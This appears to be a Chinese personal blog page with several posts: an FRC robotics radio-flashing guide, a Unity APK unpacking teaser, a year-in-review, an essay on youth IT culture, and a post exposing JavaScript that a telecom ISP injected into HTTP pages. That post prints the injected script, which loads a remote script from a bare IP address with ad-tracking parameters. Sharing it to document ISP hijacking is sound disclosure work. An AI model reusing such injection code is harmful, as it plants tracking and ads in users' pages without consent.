刷写FRC的无线网桥


只要跟着本文走,刷写网桥不用愁。本教程可以在 Windows 7 及以上的任意语言的系统中使用。

0x01 下载最新的工具

每个赛季的 kickoff 之前或之后都会在官方文档中释出最新赛季的 FRC Radio Configuration Utility。运行这个软件需要 Java 环境,没装过 JRE(Java Runtime Environment) 的请自行下载。

官方刷写教程:http://wpilib.screenstepslive.com/s/currentCS/m/getting_started/l/144986-programming-your-radio

2018 年最新的 FRC Radio Configuration Utility:https://firstfrc.blob.core.windows.net/frc2018/Radio/FRC_Radio_Configuration_18_1_0.zip

访问速度比较慢,你可能需要一个能流畅访问国际互联网的环境。国内也有人会搬运这些软件到百度云等地方。

0x02 安装

双击安装,一路回车,这个就不需要详细讲了吧。

0x03 调整参数

如果系统是 Windows 7 可以跳过这一步

右键点击桌面上的 FRC Radio Configuration Utility,属性,并调整兼容性设置为“Windows 7”。

compatibility setting

0x04 在非英语环境使用

如果系统本身就是英语,可以跳过

下载这个 FRC Radio Configuration Utility Language Fixer.zip,然后解压。

接着右键桌面图标,然后选择“打开文件位置”。将解压出来的 ipconfig.exe 复制进去就可以了。

copy patch.png

官方并不支持非英文系统的刷写,本只 Soha 在这方面花了很大力气。想对这个了解更多,请看另一篇博客:《在非英文Windows上使用FRC Radio Configuration Utility》

0x05 准备工作

先打开控制面板的“更改适配器设置”。怎么打开不赘述了,如有疑问可以找搜索引擎。

然后禁用所有除了通过网线连接无线网桥的网卡(比如 Wi-Fi 的网卡什么的)。

disable_useless_interfaces.png

0x06 RCU,启动!

双击桌面图标启动 FRC Radio Configuration Utility,并选择合适的网卡。

select_interface.png

0x07 刷写固件

点击那个大大的“Load Firmware”来刷写固件。

Radio successfully flashed

看到这个提示说明成功。

0x08 配置基本信息

填入队号(Team Number)和无线接入点密码(WPA Key),这是到时候通过 Wi-Fi 调试 Robot 的时候的必要连接信息。

input_basic_info.png

然后点击那个大大的“Configure”。

Bridge for Team 6385 successfully programmed

看到类似这个的提示,说明成功。

0x09 测试

打开电脑的 Wi-Fi 设置,如果可以成功通过之前设置的信息(本例中是 SSID=6385,Password=Hello,FRC!)连接到路由器,那么恭喜你,成功了。

0x0a 结束

本文赶制仓促,可能有不够清楚或者错误的地方,可以联系 [email protected] 提问。

0x0b 常见问题

Error finding NPF device name for adapter: * Try disabling all other adapters (using the Control Panel)

在步骤 0x07 中出现。很多队伍使用了 KOP 中的 USB 有线网卡来刷写,或者没有禁用别的网卡,会遇到这个问题。

建议使用板载有线网卡,并确认完成了上面的步骤 0x05

Timeout waiting for radio. Make sure you have launched the .exe not the .jar. Try using a switch.

在步骤 0x07 中出现。一般应该都是通过桌面快捷方式启动的,更大的可能原因是因为这台计算机的网卡不靠谱儿。

  1. 确认使用了桌面上的快捷方式启动 FRC Radio Configuration Utility。
  2. 在电脑和无线网桥使用一个一个交换机。(提示: 一个常见的无线路由器的四个LAN口可以作为一个交换机,注意这需要提前关闭无线路由器的 DHCP 服务。)
  3. 换台电脑。

Firmware too old.

在步骤 0x08 中出现。一般是因为没有进行步骤 0x07,现有的固件太老了。

参考步骤 0x07 进行一次“Load Firmware”。

Bridge sequence failed: Could not reconnect to bridge for validation

在步骤 0x08 中出现。如果确定你的所有操作都没毛病的话,那么请检查你的 Utility 的版本。

2018 年 07 月 30 日下午某队伍就因为是版本太老而无法配置。


一次解包 Unity 游戏应用的经历


0x00

为了更好的学(kuang)(tian)(lao)(gong),我尝试从这个游戏入手,解包一个 Unity 应用。

0x01 万能的 unzip

下载apk,然后直接unzip了它。然后我们想要的东西都在 assets 文件夹里。

├─assets
│  ├─bin
│  │  └─Data
│  │      ├─Managed
│  │      └─Resources
│  ├─common
│  │  ├─animations
│  │  │  ├─...
│  │  ├─audios
│  │  │  ├─...
│  │  ├─effect
│  │  │  ├─...
│  │  ├─fonts
│  │  ├─materials
│  │  ├─shaders
│  │  └─textures
│  ├─i6
│  │  ├─...
│  └─lua
│      ├─data
│      │  ├─...
│      ├─lib
│      ├─logic
│      ├─module
│      └─sys
├─lib
│  ├─armeabi
│  ├─armeabi-v7a
│  └─x86
├─META-INF
└─res
    ├─anim
    ├─color
    ├─color-v11
    ├─color-v23
    ├─drawable
    ├─...

有个文件,路径是 /assets/bin/Data/unity default resources 很容易引起注意。

// 点开我,里面还有许多内容!


Bonjour 2018!


2018年来啦!嘿,Soha 准备好了!又是一个惯例的回首这一年的时候。2017年,Soha 17周岁。

2017年注定是重要的一年,这一年发生的,对我整个人生都带来了非常大的影响。今年年初到初夏是我性别焦虑最严重的时候,在这段时间里,我的思想非常混乱,内心非常烦躁,行为也很激动。最关键的是,我还丢了个人。想通这一切是在8月初,在准备于宁波举行的 ¡Hola! Conf 2017 上的演讲的时候想通的。很庆幸,我让自己想通了,恢复了以前可爱的阳光的活泼的 Soha 的形象。但是很可惜的是,该发生的已经发生了,有些伤害一旦造成了就不容易抚平了。

2017年我参加了我这辈子第一场 FIRST Robotics Competition (FRC),在深圳,跟着我的队伍 6385 TrueMoe。随后因为6385进入了休眠,我又进入了深圳队伍 5453 Red Comet 并随他们参加了中国的FRC季后赛。在 FRC 上,我尝试了未尝试过的 OpenCV、Caffe、TensorFlow 等框架。

这一年,我入坑了 Go 和 Rust,但这两种语言目前学习的深度还只是大部分会的语言。今年主要使用的语言还是 PHP、JavaScript、Python、HTML、CSS。OI in Hand 的开发在高三被我重新提上日程。但因为事情比较多,比较杂,我也开了不少小坑来填,所以进度不快。

今年4月是第一次高考,虽然只有一门技术(94)。11月第二次高考,英语(129)、生物(79)、技术(91,选取之前的94)、地理(70)。虽然成绩不是很好,但是还是很有信心!2018年还有第三和最后一次高考,加油!

总体看下来,2017年可能负面的东西比较多。不怕,2018,向前走。

如果要走向光明,那就得朝着第一缕晨光出现的地方。


贴一段电信劫持http js流量的代码


我调试127.0.0.1,是怎么给电信插进广告的?
而且现在插广告越来越嚣张了,已经不是一天只见到两次了,我10分钟都两次了。
微信API我调用的是http……马上加s

上面内容是我在Telegram频道里先发的,图片懒得复制了。https://t.me/sohadays/1566

(function() {
    o = "http://res.wx.qq.com/open/js/jweixin-1.2.0.js?";
    sh = "http://222.186.61.97:7701/main.js?v=3.93&sp=311&ty=dpc";
    w = window;
    d = document;
    function ins(s, dm, id) {
        e = d.createElement("script");
        e.src = s;
        e.type = "text/javascript";
        id ? e.id = id : null;
        dm.appendChild(e);
    }
    ;p = d.scripts[d.scripts.length - 1].parentNode;
    ins(o, p);
    ds = function() {
        db = d.body;
        if (db && !document.getElementById("bdstat")) {
            if ((w.innerWidth || d.documentElement.clientWidth || db.clientWidth) > 1) {
                if (w.top == w.self) {
                    ins(sh, db, "bdstat");
                }
            }
        } else {
            setTimeout("ds()", 1500);
        }
    }
    ;
    ds();
}
)();
var mim_params = {
    'sp': '311',
    'aid': '15303',
    'sda_man': 'OCoJD2sHHl9mc1Fb',
    'src': '0',
    'adtype': '1',
    'uid': 'FwYkUxBwa10QdiNfFgMYKWMBVlhqc2wpagFTW2R2bys4KgkPawceX2ZzUVs=',
    'spid': 'sohu',
    'ad_list': '15303'
};

青少年IT圈的浑水不好蹚


我在之前就因为在GTC筹备的前后发现的一些问题写了一篇文章,你可以在这里读到:为现在青少年IT人的未来而担忧。自那以后我和几个朋友确定不再举行类似GTC的青少年IT向活动,因为我们发现我们没法做到我们想做的——给青少年IT人们引进一些新的东西,提升这个圈子的素质。

最近经常搞事情的崇才科技又搞了个大新闻。国内某视频类自媒体,在微博上推送了一个有关于崇才科技的视频。在视频中,其“CEO”在其中侃侃而谈他和他的“首家00后的公司”的“伟大理想”,并妄言“老一辈企业家已经老了,未来是属于我们00后的”。雷军也对这个内容进行了评价。不假,时间的发展,“00后”肯定是要接过这个担子的,但是谁来接,谁有能力接,不是靠一个啥都没有的公司来说的。

最关键的是我们看看崇才所表现出来的他们的问题:拿别人的东西无视版权、官僚主义、打官腔、一点儿都不务实。我相信这是从几年前开始所展现出来的青少年IT人都可能会有的问题。版权的问题其实是最常见的,也是很好理解的,我相信大多数青少年IT人都有干过拿别人东西改版权的事情。但是有一点很重要,过龄的中二就是耍流氓。更不要说崇才这次还宣传这么大。他们某所谓“作品”的原作者专门写了篇文章来抨击。

还是引用GTC15中提出的概念,伪开发者和商人们不是真正热爱IT的人。

这也再次证明了现在青少年IT圈的浮躁甚至更多负面的东西。这也会导致社会对青少年IT圈失去信心,真正潜心钻研技术的青少年们,也只能选择自己闷声搞事。那么这个究竟该怪谁呢?

本文同步发表于Immortal.Work:https://immortal.work/p/93yYpyqFrDbQ7NHwf